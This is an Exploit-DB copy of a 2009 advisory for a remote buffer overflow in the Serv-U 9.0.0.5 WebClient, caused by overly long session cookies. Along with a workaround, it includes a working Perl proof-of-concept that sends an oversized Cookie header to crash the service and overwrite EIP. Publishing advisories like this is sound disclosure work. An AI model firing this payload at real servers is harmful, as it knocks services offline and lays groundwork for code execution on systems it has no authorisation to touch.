Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (1)

EDB-ID:

9966


Platform:

Windows

Published:

2009-11-02

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11-01-2009


RhinoSoft.com Serv-U 9.0.0.5 WebClient Remote Buffer Overflow


Background
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Serv-U includes a simple, browser-based transfer client perfect
for every business environment. The Web Client is accessed through
a standard web browser and features an unintimidating, familiar interface.
It is a great way for sharing photos and image files with clients and
co-workers due to its configurable thumbnail view that allows remote
images to be quickly viewed without downloading the entire file.
An additional slideshow view offers a fast way to share a collection 
of photos from your latest projects. When using Serv-U, photo sharing 
sites and large email attachments are a thing of the past!


Description
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Remote exploitation of a buffer overflow in the Serv-U WebClient
may allow attackers to execute arbitrary code.

The problem lies in the handling of overly long Session Cookies.
When a very long session cookie is sent to the Serv-U WebClient
HTTP Service an overrun occurs and EIP becomes "overwritten".


Detection
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KC Security confirmed the vulnerability in the latest version of Serv-U
WebClient which is 9.0.0.5.


Workaround
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Disable the WebClient Service and use the Serv-U FTP/SFTP components only.


Proof of concept
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The following PERL script will crash the Serv-U.exe service and overwrite
EIP with 0xAAAAAAAA.

---snip---
use IO::Socket;

$|=1;
$a = "A" x 100000;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');                             

print $sock "POST / HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Cookie: killmenothing; SULang=de%2CDE; themename=vista; Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb950754581406246bf8$a\r\n"
."Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"
."Content-Length: 0\r\n\r\n";

while (<$sock>) {
	print;
}
---snip---


Credit
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This vulnerability was discovered by Nikolaos Rangos of KC Security.
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